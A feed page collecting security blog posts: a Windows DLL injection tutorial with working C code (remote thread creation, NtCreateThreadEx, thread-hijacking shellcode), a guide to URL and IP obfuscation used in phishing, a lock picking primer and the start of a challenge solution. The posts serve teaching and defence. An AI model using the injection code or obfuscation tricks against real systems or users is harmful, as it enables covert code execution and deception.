Quantcast
Channel: Open Security Research
Viewing all 107 articles
Browse latest View live

Windows DLL Injection Basics

$
0
0
By Brad Antoniewicz.

DLL Injection is one of those things I've always sort of knew about but never actually implemented. Probably because I never *really* needed to. I'm not a big gamer and not really into the malware side of security. Actually, the only times I ever need to inject into a running process is during exploitation/post exploitation and Metasploit has spoiled me too much :)

So, early last week I decided to actually implement some of the well known Windows DLL injection techniques to keep my mind at ease. Hopefully this blog will get you accustomed to those techniques and maybe inspire you to implement them on your own.

Defined

DLL injection is the process of inserting code into a running process. The code we usually insert is in the form of a dynamic link library (DLL), since DLLs are meant to be loaded as needed at run time. However this doesn't mean we cannot inject assembly in any other form (executables, handwritten, etc..). It's important to note that you'll need to have an appropriate level of privileges on the system to start playing with other program's memory.

Overview

The Windows API actually offers a number of functions that allow us to attach and manipulate into other programs for debugging purposes. We'll leverage these methods to perform our DLL Injection. I've broken down DLL injection into four steps:
  1. Attach to the process
  2. Allocate Memory within the process
  3. Copy the DLL or the DLL Path into the processes memory and determine appropriate memory addresses
  4. Instruct the process to Execute your DLL

Each one of these steps can be accomplished through the use of one or more programming techniques which are summarized in the below graphic. It's important to understand the details/options present for each technique as they all have their positives and negatives.



Execution Starting Point

We have a couple of options (e.g. CreateRemoteThread(),NtCreateThreadEx(), etc...) when instructing the target process to launch our DLL. Unfortunately we can't just provide the name of our DLL to these functions, instead we have to provide a memory address to start execution at. We perform the Allocate and Copy steps to obtain space within the target process' memory and prepare it as an execution starting point.

There are two popular starting points: LoadLibraryA() and jumping to DllMain.

LoadLibraryA()

LoadLibraryA() is a kernel32.dll function used to load DLLs, executables, and other supporting libraries at run time. It takes a filename as its only parameter and magically makes everything work. This means that we just need to allocate some memory for the path to our DLL and set our execution starting point to the address of LoadLibraryA(), providing the memory address where the path lies as a parameter.

The major downside to LoadLibraryA() is that it registers the loaded DLL with the program and thus can be easily detected. Another slightly annoying caveat is that if a DLL has already been loaded once with LoadLibraryA(), it will not execute it. You can work around this issue but it's more code.

Jumping to DllMain (or another entry point)

An alternative method to LoadLibraryA() is load the entire DLL into memory, then determine the offset to the DLL's entry point. Using this method you can avoid registering the DLL with the program (stealthy) and repeatedly inject into a process.

Attaching to the Process




First we'll need a handle to the process so that we can interact with it. This is done with the OpenProcess() function. We'll also need request certain access rights in order for us to perform the tasks below. The specific access rights we request vary across Windows versions, however the following should work for most:


hHandle = OpenProcess( PROCESS_CREATE_THREAD |
PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE |
PROCESS_VM_READ,
FALSE,
procID );


Allocating Memory




Before we can inject anything into another process, we'll need a place to put it. We'll use the VirtualAllocEx() function to do so.

VirtualAllocEx() takes amount of memory to allocate as one of its parameters. If we use LoadLibraryA(), we'll allocate space for the full path of the DLL and if we jump to the DllMain, we'll allocate space for the DLL's full contents.

DLL Path

Allocating space for just the DLL path slightly reduces the amount of code you'll need to write but not by much. It also requires you to use the LoadLibraryA() method which has some downsides (described above). That being said, it is a very popular method.

Use VirtualAllocEx() and allocate enough memory to support a string which contains the path to the DLL:


GetFullPathName(TEXT("somedll.dll"),
BUFSIZE,
dllPath, //Output to save the full DLL path
NULL);

dllPathAddr = VirtualAllocEx(hHandle,
0,
strlen(dllPath),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE);


Full DLL

Allocating space for the full DLL requires a little more code however it's also much more reliable and doesn't need to use LoadLibraryA().

First, open a handle to the DLL with CreateFileA() then calculate its size with GetFileSize() and pass it to VirtualAllocEx():


GetFullPathName(TEXT("somedll.dll"),
BUFSIZE,
dllPath, //Output to save the full DLL path
NULL);

hFile = CreateFileA( dllPath,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL );

dllFileLength = GetFileSize( hFile,
NULL );

remoteDllAddr = VirtualAllocEx( hProcess,
NULL,
dllFileLength,
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE );


Copying the DLL/Determine Addresses

We can now copy the DLL (path or contents) to the target process space.

Now that we have space allocated in our target process, we can copy our DLL Path or the Full DLL (depending on the method you choose) into that process. We'll use WriteProcessMemory() to do so:

DLL Path


WriteProcessMemory(hHandle,
dllPathAddr,
dllPath,
strlen(dllPath),
NULL);


Full DLL

We'll first need to read our DLL into memory before we copy it to the remote processes.

lpBuffer = HeapAlloc( GetProcessHeap(),
0,
dllFileLength);

ReadFile( hFile,
lpBuffer,
dllFileLength,
&dwBytesRead,
NULL );

WriteProcessMemory( hProcess,
lpRemoteLibraryBuffer,
lpBuffer,
dllFileLength,
NULL );


Determining our Execution Starting Point

Most execution functions take a memory address to start at, so we'll need to determine what that will be.

DLL Path and LoadLibraryA()

We'll search our own process memory for the starting address of LoadLibraryA(), then pass it to our execution function with the memory address of DLL Path as it's parameter. To get LoadLibraryA()'s address, we'll use GetModuleHandle() and GetProcAddress():

loadLibAddr = GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "LoadLibraryA");


Full DLL and Jump to DllMain

By copying the entire DLL into memory we can avoid registering our DLL with the process and more reliably inject. The somewhat difficult part of doing this is obtaining the entry point to our DLL when it's loaded in memory. Luckily enough, Stephen Fewer has made our lives easy. He's pioneered the Reflective DLL Injection technique which offers a greater level of stealth in comparison to existing methods. The LoadRemoteLibraryR() function included within his ReflectiveDLLInjection Inject project implements this entirely, however it limits our execution method to CreateRemoteThread(). So we'll use the GetReflectiveLoaderOffset() from it to determine our offset in our processes memory then use that offset plus the base address of the memory in the victim process we wrote our DLL to as the execution starting point. It's important to note here that the DLL we're injecting must complied with the appropriate includes and options so that it aligns itself with the ReflectiveDLLInjection method.

dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpWriteBuff);


Executing the DLL!

At this point we have our DLL in memory and we know the memory address we'd like to start execution at. All that's really left is to tell our process to execute it. There are a couple of ways to do this.

CreateRemoteThread()

The CreateRemoteThread() function is probably the most widely known and used method. It's very reliable and works most times however you may want to use another method to avoid detection or if Microsoft changes something to cause CreateRemoteThread() to stop working.

Since CreateRemoteThread() is a very established function, you have a greater flexibility in how you use it. For instance, you can do things like use Python to do DLL injection!

rThread = CreateRemoteThread(hTargetProcHandle, NULL, 0, lpStartExecAddr, lpExecParam, 0, NULL);
WaitForSingleObject(rThread, INFINITE);


NtCreateThreadEx()

NtCreateThreadEx() is an undocumented ntdll.dll function. The trouble with undocumented functions is that they may disappear or change at any moment Microsoft decides. That being said, NtCreateThreadEx() came in good handy when Windows Vista's session separation affected CreateRemoteThread() DLL injection.

Detailed information about this method is described here:
NtCreateThreadEx() is a bit more complicated to call, we'll need a specific structure to pass to it and another to receive data from it. I've detailed the implementation here:


struct NtCreateThreadExBuffer {
ULONG Size;
ULONG Unknown1;
ULONG Unknown2;
PULONG Unknown3;
ULONG Unknown4;
ULONG Unknown5;
ULONG Unknown6;
PULONG Unknown7;
ULONG Unknown8;
};


typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx) (
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN LPVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN LPTHREAD_START_ROUTINE lpStartAddress,
IN LPVOID lpParameter,
IN BOOL CreateSuspended,
IN ULONG StackZeroBits,
IN ULONG SizeOfStackCommit,
IN ULONG SizeOfStackReserve,
OUT LPVOID lpBytesBuffer
);

HANDLE bCreateRemoteThread(HANDLE hHandle, LPVOID loadLibAddr, LPVOID dllPathAddr) {

HANDLE hRemoteThread = NULL;

LPVOID ntCreateThreadExAddr = NULL;
NtCreateThreadExBuffer ntbuffer;
DWORD temp1 = 0;
DWORD temp2 = 0;

ntCreateThreadExAddr = GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtCreateThreadEx");

if( ntCreateThreadExAddr ) {

ntbuffer.Size = sizeof(struct NtCreateThreadExBuffer);
ntbuffer.Unknown1 = 0x10003;
ntbuffer.Unknown2 = 0x8;
ntbuffer.Unknown3 = &temp2;
ntbuffer.Unknown4 = 0;
ntbuffer.Unknown5 = 0x10004;
ntbuffer.Unknown6 = 4;
ntbuffer.Unknown7 = &temp1;
ntbuffer.Unknown8 = 0;

LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx)ntCreateThreadExAddr;
NTSTATUS status = funNtCreateThreadEx(
&hRemoteThread,
0x1FFFFF,
NULL,
hHandle,
(LPTHREAD_START_ROUTINE)loadLibAddr,
dllPathAddr,
FALSE,
NULL,
NULL,
NULL,
&ntbuffer
);

if (hRemoteThread == NULL) {
printf("\t[!] NtCreateThreadEx Failed! [%d][%08x]\n", GetLastError(), status);
return NULL;
} else {
return hRemoteThread;
}
} else {
printf("\n[!] Could not find NtCreateThreadEx!\n");
}
return NULL;

}

Now we can call it very much like CreateRemoteThread():
rThread = bCreateRemoteThread(hTargetProcHandle, lpStartExecAddr, lpExecParam);
WaitForSingleObject(rThread, INFINITE);


Suspend, Inject, and Resume

Suspend, Inject, and Resume is an unofficial term to describe the method of injecting into process by attaching to it, suspending it and all of its threads, targeting a particular thread, saving the current registers, changing the instruction pointer to point to your executing starting point, and resuming the thread. This is a much more intrusive method, but works reliably and does not depend on additional function calls.

This method is a little more involved to implement. There is a great write up here:



VOID suspendInjectResume(HANDLE hHandle, LPVOID loadLibAddr, LPVOID dllPathAddr) {
/*
This is a mixture from the following sites:

http://syprog.blogspot.com/2012/05/createremotethread-bypass-windows.html
http://www.kdsbest.com/?p=159

*/

HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
HANDLE hSnapshot2 = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
HANDLE thread = NULL;
THREADENTRY32 te;
THREADENTRY32 te2;

CONTEXT ctx;
DWORD firstThread = 0;
HANDLE targetThread = NULL;

LPVOID scAddr;

int i;

unsigned char sc[] = {
// Push all flags
0x9C,
// Push all register
0x60,
// Push 3,4,5,6 (dllPathAddr)
0x68, 0xAA, 0xAA, 0xAA, 0xAA,
// Mov eax, 8,9,10, 11 (loadLibAddr)
0xB8, 0xBB, 0xBB, 0xBB, 0xBB,
// Call eax
0xFF, 0xD0,
// Pop all register
0x61,
// Pop all flags
0x9D,
// Ret
0xC3
};

te.dwSize = sizeof(THREADENTRY32);
te2.dwSize = sizeof(THREADENTRY32);
ctx.ContextFlags = CONTEXT_FULL;

sc[3] = ((unsigned int) dllPathAddr & 0xFF);
sc[4] = (((unsigned int) dllPathAddr >> 8 )& 0xFF);
sc[5] = (((unsigned int) dllPathAddr >> 16 )& 0xFF);
sc[6] = (((unsigned int) dllPathAddr >> 24 )& 0xFF);

sc[8] = ((unsigned int) loadLibAddr & 0xFF);
sc[9] = (((unsigned int) loadLibAddr >> 8 )& 0xFF);
sc[10] = (((unsigned int) loadLibAddr >> 16 )& 0xFF);
sc[11] = (((unsigned int) loadLibAddr >> 24 )& 0xFF);



// Suspend Threads
if(Thread32First(hSnapshot, &te)) {
do {
if(te.th32OwnerProcessID == GetProcessId(hHandle)) {
if ( firstThread == 0 )
firstThread = te.th32ThreadID;
thread = OpenThread(THREAD_ALL_ACCESS | THREAD_GET_CONTEXT, FALSE, te.th32ThreadID);
if(thread != NULL) {
printf("\t[+] Suspending Thread 0x%08x\n", te.th32ThreadID);
SuspendThread(thread);
CloseHandle(thread);
} else {
printf("\t[+] Could not open thread!\n");
}
}
} while(Thread32Next(hSnapshot, &te));
} else {
printf("\t[+] Could not Thread32First! [%d]\n", GetLastError());
CloseHandle(hSnapshot);
exit(-1);
}
CloseHandle(hSnapshot);

printf("\t[+] Our Launcher Code:\n\t");
for (i=0; i<17; i++)
printf("%02x ",sc[i]);
printf("\n");
// Get/Save EIP, Inject
printf("\t[+] Targeting Thread 0x%08x\n",firstThread);
targetThread = OpenThread(THREAD_ALL_ACCESS, FALSE, firstThread);
if (GetThreadContext(targetThread, &ctx) == 0)
printf("[!] GetThreadContext Failed!\n");
printf("\t[+] Current Registers: \n\t\tEIP[0x%08x] ESP[0x%08x]\n", ctx.Eip, ctx.Esp);

printf("\t[+] Saving EIP for our return\n");
ctx.Esp -= sizeof(unsigned int);
WriteProcessMemory(hHandle, (LPVOID)ctx.Esp, (LPCVOID)&ctx.Eip, sizeof(unsigned int), NULL);
printf("\t\tEIP[0x%08x] ESP[0x%08x] EBP[0x%08x]\n", ctx.Eip, ctx.Esp, ctx.Ebp);

scAddr = VirtualAllocEx(hHandle, NULL, 17, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
printf("\t[+] Allocating 17 bytes for our Launcher Code [0x%08x][%d]\n", scAddr, GetLastError());

printf ("\t[+] Writing Launcher Code into targetThread [%d]\n", WriteProcessMemory(hHandle, scAddr, (LPCVOID)sc, 17, NULL));

printf("\t[+] Setting EIP to LauncherCode\n");
ctx.Eip = (DWORD)scAddr;
printf("\t\tEIP[0x%08x] ESP[0x%08x]\n", ctx.Eip, ctx.Esp);

if (SetThreadContext(targetThread, &ctx) == 0)
printf("[!] SetThreadContext Failed!\n");

// Resume Threads
hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
te.dwSize = sizeof(THREADENTRY32);

if(Thread32First(hSnapshot2, &te2)) {
do {
if(te2.th32OwnerProcessID == GetProcessId(hHandle)) {
thread = OpenThread(THREAD_ALL_ACCESS | THREAD_GET_CONTEXT, FALSE, te2.th32ThreadID);
if(thread != NULL) {
printf("\t[+] Resuming Thread 0x%08x\n", te2.th32ThreadID);
ResumeThread(thread);
if (te2.th32ThreadID == firstThread)
WaitForSingleObject(thread, 5000);
CloseHandle(thread);
} else {
printf("\t[+] Could not open thread!\n");
}
}
} while(Thread32Next(hSnapshot2, &te2));
} else {
printf("\t[+] Could not Thread32First! [%d]\n", GetLastError());
CloseHandle(hSnapshot2);
exit(-1);
}
CloseHandle(hSnapshot2);
}


Side Note: DLL Proxying/DLL Hijacking

As a side note, DLL injection is very much different then DLL Proxying and Hijacking. For some reason, people tend to confuse these. The latter impersonates a legitimate DLL and essentially "tricks" the application to load it, while the former inserts a DLL into a process while its running.

DLL Proxying most commonly assumes you have full control over the application's install directory. The "attacker" renames the legitimate DLL and copies their own DLL into the install directory. When the application runs, it loads the attacker's DLL (since it's named correctly) and then the attacker's DLL relays the function calls to the legitimate one. DLL Proxying is most commonly used by the actual owner of the system as a method to extend application functionality. For instance, DLL proxying is popular in the gaming world. Lots of people use this technique to modify game functionality for cheating or other sorts of fun. "Spy" applications also leverage DLL Proxying in an attempt to capture user provided application values.

DLL Hijacking is similar to proxying but differs in that hijacking usually abuses Windows' DLL search order in order to compromise a system (or otherwise control the flow of the application). It doesn't usually require the attacker to have write permission to the application's installation directory but rather the directory where the application was launched. In the case that the application attempts to call a non-existent DLL or if an attacker was able to place a malicious DLL in the same directory as a file that launches a vulnerable application, the attacker's DLL would be loaded and code execution would be achieved. This is because Windows [used to] search for application DLLs in the current directory from which the application was loaded before most other locations.

dllInjector!

All of the techniques described here have been implemented in a small project called dllInjector that I'll release in the next upcoming weeks! For a sneak preview, check it out here:


Deobfuscating Potentially Malicious URLs - Part 1

$
0
0
By Tony Lee.

When investigating network security incidents, there are two artifacts of malicious activity that require a great deal of research: Suspicious sites and suspicious files. Obviously, the investigator should never directly navigate to potentially malicious sites or open suspicious files--just in case they turn out to be malicious. Thus, one potential solution is to use third party investigative sites on the Internet. But how many resources are there and which ones are the best? We have compiled a list of our favorites and a little context around why we like them. This article will begin the focus on investigating potentially malicious URLs and IP addresses—while the next series will focus on what to do with files and hashes.

Part I of Investigating URLs and IP Addresses lays the groundwork by covering policy, unshortening and deobfuscation. All of the techniques may not be new to you, but the sites to analyze them may be. There is also a really fun challenge for the reader at the end that will require them to utilize many of the tools in this article to investigate a URL.

Outline

  • First Get Permission If Needed
  • Unshortening
  • Obfuscating
    • URI Tricks
    • IP Obfuscation
    • URL Encoding
  • Deobfuscating
  • Conclusion
  • Challenge!


First Get Permission If Needed

Before we cover deobfuscating URLs, we need to talk a little bit about permission and policy. If you are like me, you are thinking "Shoot me now". However, you must make sure that you have written permission stating that you are allowed to query or upload information to a third party site. If done without permission it could cost you your job. But why, what’s the big deal anyway?

There are a number of potential problems when using third party sites for investigating potentially malicious activity, but here are two major issues:

  1. You don't always know if that data you are transmitting is sensitive
  2. There is no expectation of privacy when utilizing a third party site


If you are the security team or security consultant for a large company—it may be impossible to know all of the intricate facets of your company’s business. Thus, hostnames or IP addresses could be sensitive along with any parameters that may be passed. Additionally, PDFs, word documents, binaries and other acquired suspicious files could contain company or partner sensitive information. You do not want to accidentally leak any of this potentially proprietary or secret information to a third party organization outside the reach of your company’s NDA. Take a moment to read some of the privacy statements on these sites. Most of them state that they may publicly share the submitted data with the Internet or privately share the data with select security professionals. See below for just one example of an honest disclaimer:

Privacy Information

Do not submit items of a confidential or classified nature to this site. The private option on submissions indicates that it will not be released to the public and will not be made generally available. However, it may be shared with security researchers and trusted individuals whose goal is to improve detection of threats. The privacy of submissions depends upon the user keeping the "Submission Permanent Link" a secret, therefore do not post the link publicly if you want to keep it private.

If you need true privacy, you should run jsunpack-n, which is the engine behind jsunpack and it runs locally.

Thanks for using jsunpack!

Source: http://jsunpack.jeek.org/privacy.html

This site is very forthcoming about their privacy policy—so please be careful when submitting data to third party sites. Ensure that both URL/IP addresses and files/hashes are not sensitive to your organization before submitting to Internet resources. Ok, now on to the fun stuff!

Unshortening

I can’t tell you how many times I have seen a shortened URL in an email, instant message, or alert. Even if they are benign, they should invoke a little bit of fear in the hearts of security practitioners. What once started out as a convenient way to share links has over time become a dangerous way to spread malware and phish users. To make matters worse, there is no shortage of URL shorteners (forgive the pun). Here are just a small fraction of them:

TinyURLTinyBitlyGoogle Shortener
Ow.lyTwitter Shorteneris.gdMcAfee Shortener


Let’s take the following (potentially dangerous) example:

Who in the world wants to click this thing? No one should have volunteered—however, I am sure you have some users out there (inside your network) that would gladly click it. Even worse… chances are that you know them by first name! The attacker will probably claim that it is a link to some dancing cat or a cat playing the piano. Bingo! They have a click. Anyway, as security professionals, what can we do to investigate this hyperlink? Here are a few really great Internet resources below that can help you reverse this URL to figure out where this link goes:

Unshorten.it

Unshorten.it goes above and beyond by providing the unshortened URL, title of the page, a screenshot, and the web of trusts rating. Outstanding!


LongURL

LongURL also provides a screenshot for their unshortened URLs (if they have it), resolves the links and provides a screenshot if it is available. They advertise a pretty large range of shortening services that they can process (340 in total!).



Unshort.me

Unshort.me is more basic than the two mentioned above, however it does the job well. They advertise the ability to unshorten “t.co (Twitter), bit.ly, TinyURL, Google goo.gl, Facebok fb.me, tr.im, Ow.ly and others”



Unshorten.com

Similar to Unshort.me, Unshorten.com is also pretty basic, but will unshorten URLs. They advertise the ability to unshorten “TinyURL.com, SnipURL.com, NotLong.com, Metamark.net, zURL.ws and many others.”



Whew!!! All sites were able to unshorten the example URL and their answers were all the same. We are fortunate that the link was only a link to the Wikipedia page on URL shortening. However, it could have easily been malicious and thus, we cannot take a chance by directly navigating to the shortened URL.

Obfuscating

So, maybe you unshortened the URL and it still looks suspicious or scary. This could be due to a number of reasons such as URI tricks or encoding/representation tricks.

URI tricks

The general URL format is:

 protocol://username:password@host:port/resource



Where username, password, and port are all optional. Knowing that, now evaluate the following “simple” examples:

  1. http://www.example.com/a/page.html
  2. https://www.attacker.com:8443/attackscript.js
  3. https://www.bank.com:login.html@phisher.cn/


** Spend a minute to figure out the URLs above before reading the spoiler below **

URL one is something that you would typically see. Nice, simple and easy to understand.

URL two is not much different; it just changes the port and makes a request to a javascript file—still easy to understand as a security professional.

URL three is not a new concept, but it is still used for deception. It illustrates how the flexibility in URI components could be potentially misused in order to confuse unsuspecting users. At first glance, it appears that we will be navigating to bank.com. Whew! No problem, we are a member of bank.com and that is normal. However, upon closer inspection (remembering the URL format), the username is www.bank.com with a password of login.html. The real request is going to phisher.cn! The key take-away here is that anything between the http:// and the @ symbol may be irrelevant to navigation and can be used to trick the user.

Let’s see how different browsers handle this third URL, but because we do not want to go to phisher.cn we will change it to go to Google instead:

  • http://www.bank.com:login.html@google.com/


Chrome v23

Chrome understood the URL and correctly sent us to Google per URI RFCs—but maybe a little too willing to do so. Read on for other behaviors.



Internet Explorer 8

Internet explorer 8 throws an error message as seen below:



But why? Does IE not know how to handle authentication in the URL? According to a Microsoft support article, this is expected behavior as this feature was available in IE v3.0 – v6.0, but has been disabled by default in all other versions due to the potential to trick a user with it—exactly what we are discussing here.

Firefox 17.0.1

In my opinion Firefox handled the situation the best. It understood how to process the URL, however it warned the user that they are visiting google.com and that the URL might be a trick. Then it prompted the user to confirm their intentions.



If you understood all of the above URL scenarios without any help—you did great! Especially since there don’t seem to be too many tools out there that will dissect the URL (more on this later). To add to the issue, obfuscation gets even more challenging to reverse when combined with various forms of legitimate, but alternative representations.

IP obfuscation

First, note that the URL does not have to be a typical easy to remember name, think http://www.google.com. It could be provided via IP address (known as dotted decimal), DWORD, Hex, or even Octal. Let’s re-visit the third example that we provided above, but make some slight modifications:

Note: At the time of this writing, one of Google’s IP addresses is 74.125.131.105

  • http://www.bank.com:login.html@74.125.131.105
  • http://www.bank.com:login.html@1249739625/
  • http://www.bank.com:login.html@0x4a.0x7d.0x83.0x69/
  • http://www.bank.com:login.html@0112.0175.0203.0151/

Does anyone want to volunteer to click any of those? Probably not without investigating it first…

So, we know the first part between the http:// and the @ is a trick and most likely irrelevant to navigation. But what is the second part? The first is an obvious IP address, however the last three are obfuscated IP addresses in DWORD, Hex, and Octal format respectively. Let’s look at how we get these values using Google as an example:

DWORD conversion

Converting an IP address to a DWORD is not difficult and can be performed with a calculator. Take an IP address and perform the following math on it:

 (((((74*256) + 125) * 256) + 131) * 256) + 105



This math yields: 1249739625
You can now use this in a URL, for example: http://1249739625

Another way to convert an IP to a DWORD is to first convert each octect to hex (Microsoft calc in programmer mode), squash them together and use a calculator to convert that to decimal:

 74 = 0x4a     125 = 0x7d     131=0x83      105=0x69    =>     0x4a7d8369 = 1249739625



Either one works just fine.

Hex conversion

Converting an IP address to hex is the same as the second DWORD method we used above. Convert each octet to hex (Reminder: Microsoft calc in programmer mode):

 74 = 0x4a     125 = 0x7d     131=0x83      105=0x69 



Now put them all together with a dot in between and you have your hex address: http://0x4a.0x7d.0x83.0x69

Octal conversion

IP to Octal conversion can be accomplished by converting each octet to octal (can still use Microsoft calc in programmer mode)

 74 = 0112    125 = 0175     131 = 0203    105 = 0151 



Make sure you have a leading zero on the digits as this conveys octal format. Any number of zeros can be used. Separate the numbers with a dot.

Result: http://0112.0175.0203.0151

For hex and octal conversions you will be able to easily reverse the math to get back to the IP address. However, if you are wondering how to reverse the DWORD, here is a quick trick. Take the DWORD address and copy and paste that value as a decimal in Microsoft’s calculator using programmer mode. Then click the radio button to convert the value to hex, you will then get: 4A7D8369 which should look similar to your Hex conversion above.

We will look at some tools that can automatically reverse these formats in a bit. However, it is good to note that all three browsers above (Chrome, Firefox, and IE) all handled each of the formats above as expected and provided Google’s search page. Firefox is shown below:


URL Encoding

Another common obfuscation technique used to confuse the victim is encoding the URL—this is legitimately used when transmitting non-ASCII reserved characters over the Internet. URI’s have reserved characters which are used for more than just their literal meaning. According to RFC 3986, these reserved characters are:
!*`();:@&=+$,/?#[]


In order to avoid immediate interpretation, characters can be encoded so they can be included within a URL—each browser may handle this differently though. Take a look at the following example:

  • ftp://foo:foo%40example.com@ftp.example.com/pub/a.txt


This example has a password that utilizes percent-encoding (aka URL/URI encoding) as part of the FTP password (an email address). Characters can be encoded by using a percent sign followed by their equivalent hex value. The ‘@’ character is represented by the hex value of 0x40—thus %40 in a URI will be converted by the application to the ‘@’ character. This same technique can be used in URLs to confuse the user and hide intention.

Now that you understand how IP obfuscation and character encoding works, feel free to use a character encoding and IP obfuscation calculator provided by RSnake to create your own links.

Real World Example

So the examples above are intended to be easy for demonstration purposes—but how about something harder?

  • http://225.116.453.0-bank-login.htm@00000112.00000175.00000203.00000151


This example is using the same tricks outlined above, but we are combining them to make the URL look more interesting. These can still be done by hand, but can be time consuming. Luckily, there are some third-party sites that will help you figure out what the URL is doing. Some are more advanced than others.

Netdemon

Netdemon definitely takes top honors in terms of decoding and breaking down a malicious URL. You can see in the example below, it was able to pick out the username, path, and file, as well as reverse the IP address. We have even seen it detect and report redirecting which is pretty impressive. Most tools are limited to just percent decoding when this goes above and beyond.



URL decoder

I like this encoder/decoder because it is simple and fast. The only downside is that it does not do very complex evaluations. It only encodes and decodes based on percent encoding/decoding.

Try to decode the following example:

  • %54%68%69%73%2B%69%73%2B%61%2B%73%65%63%72%65%74%2B%6D%65%73%73%61%67%65




Conclusion

In order to attribute a URL to an attacker, occasionally you must first understand how it is encoded and obfuscated. Hopefully this quick refresher has helped you to brush up on your obfuscation knowledge so you are now more proficient at deobfuscation. Additionally, we mentioned a handful of sites that can be very helpful when quickly processing a bunch of links. We understand that this is not an all-encompassing list and would love to hear about your favorite sites. Stay tuned for the rest of “Investigating URLs and IP Addresses” where we will cover the remaining topics including WHOIS, GeoIP, IP to URL, Reputation and evaluating content. That said… we leave you with this challenge.

Challenge

Evaluate the following URL without visiting it. Utilize on-line tools to figure out what the outcome of a click will be:

(Hint: The URL is most “enjoyable” when visited within Chrome— but don’t just click it… Reverse it first!)

We will provide the answer, how we created the link, and how we would reverse the link in next week’s blog post. Have fun. :)


Getting Started With Lock Picking

$
0
0
By Jason Bevis and Brad Antoniewicz.



Lock picking is a hobby I first picked up many years ago and seem to always regain interest in. There's just something about being able to open a lock without a key that calls to my inner hacker. This article is for those who are interested in getting started with lock picking but aren't entirely sure where to begin.

The Tools

Like most hobbies, you'll need to invest a couple dollars in some tools and equipment. The lock pick villages at security conferences are a great place to pick up equipment. The Open Organization Of Lockpickers (ToooL) are always there and have awesome kits available for purchase. Here are some buying recommendations when you're first starting out. ToooL is recommended a lot because they are big supporters of the community, that being said, I promise, I'm not funded by them and their tools are good :)

Picks

ToooL's Beginner's Blend Pick Kit will run you $30.00. It contains the following:
  1. Standard Hook
  2. Euro Slim Hook
  3. Thick Half Diamond
  4. Thin Half Diamond
  5. Snake Rake
  6. Bogotá-style Wave Jiggler Rake
  7. Standard Tensioner
  8. Twist-Flex Tensioner


While the tension tools in ToooL's set are great to start off with, also look into the "Pry Bar" Tension tools offered by Peterson. They're unique in that they allow you to apply tension on the top of the keyhole rather then on the bottom which can get in the way.


It just wouldn't be right to leave out SouthOrd's 14 Piece MPXS-14 kit. It was one of the first sets I ever bought and has lasted me for years!

Locks

Practicing is really important, but if you're always practicing on the same lock, you won't really advance; so its equally important to learn different locks. Some require little or no tension whereas others require a significant amount of tension. Here are a couple to get you going:

ToooL's Basic Training Lock Set is $80.00. It will probably only take about 10 minutes to pick all 6 of the training locks even without any real training. Although it may seem at first seems there is little value in purchasing this training set, most people going back to these locks for practice.
ToooL's Advanced Training Lock Set is $55.00. It includes lock cylinders with 4 different security pins (mushroom, spool, etc.). Buying these is a luxury, but having a chance to go through all 4 locks is beneficial. It should take less than 5 minutes because all the locks only have one pin. There is value in this set, but probably not worth the money initially. It is good to run through them at least once which you can almost always do at a lockpick village
Master Locks can be found anywhere. Basic ones such as the 4 pin are typically easy even for a beginner (scarey when you think of how many places use Master locks). These locks can be purchased at any hardware store, pharmacy, etc. Most master locks appear to be easy however sometimes there are different pin settings and locks that can be more difficult.
U.S. Lock an be purchased at most hardware stores, locksmiths or on the internet. The one in the picture is much more of a pain then the Master because it has one "difficult" pin that makes life hard when using the standard tension wrench in ToooL's 8 piece set.
The Schlage Everest with the check pin (the little hole on the rear of the lock shown in the picture) is indeed challenging for a beginner. You'll find some YouTube videos where it takes hardcore enthusiasts five minutes (that's a long time, for them) to get into it. This one is particular good because he takes apart the lock and explains the key difference. Also notice the special tool he created to help with the check pin.

If you find yourself encountering the Schlage Everest a lot, Peterson Locksmith Tools actually has a special tension tool just for these locks.


If you can get past the Schlage Everest then try a Medeco lock. Many of these are used for fireman lock boxes to gain access to multiple apartment building units. Notice the special keying in the image below (from http://brandysafe.com/Residential/medecoresdiagram.html). A local locksmith told me one cylinder would cost $80.00 and they're really hard to pick.


The Basics

There is a ton of online resources to help you understand how locks work and how to pick them. We've thrown together a quick demonstration of using the hook and rake to pick on the of ToooL starter locks.



Schuyler Towne put together a really great set of videos that'll teach you a lot - he even shows the internals of the lock as its being picked.

lockpicking101 is another great site for information and getting in touch with lock picking enthusiasts in your area.

The Law

Beware - Lock picking can be frowned upon by authorities. The two laws every lock picking enthusiast should follow are:
  1. Never pick a lock you don't own
  2. Never pick a lock that's in use
The Legality of lock picks, possessing burglary tools, lock picks by state article from The Lock Pick Guide attempts to summarize the U.S. laws of lock picking and is a must read if you plan on getting started with the hobby.

Lock picking is good to learn and understand how to protect items physically. Understanding how to Lockpick will help gain knowledge of the specific weaknesses.

Deobfuscating Potentially Malicious URLs - Part 1 Solution

$
0
0

a.k.a Fun with Google Redirects



By Tony Lee.

Hopefully you read last week’s blog post titled Deobfuscating Potentially Malicious URLs - Part 1 . In that article, we left you with a little challenge. We wanted to know what would happen if a user clicked the special link that we created (shown below)—however there is a caveat, you must figure out what happens without directly navigating to the site! Here's the link:

This means using your investigative skills and third party websites to reverse the link. So, if you have not taken the time to challenge yourself in reversing the link—please do so now. This article will spoil the fun by explaining what the link is, how we created it, how we would safely deconstruct it, how different browsers react, and how this was leveraged for fun to educate students about the danger of URL redirects.

Outline

  • Manual Safe Deconstruction
  • Automatic Safe Deconstruction
  • Obfuscation Process
  • Tracing the Click
  • Browser Compatibility
  • Real World Usage
  • Conclusion

Manual Safe Deconstruction

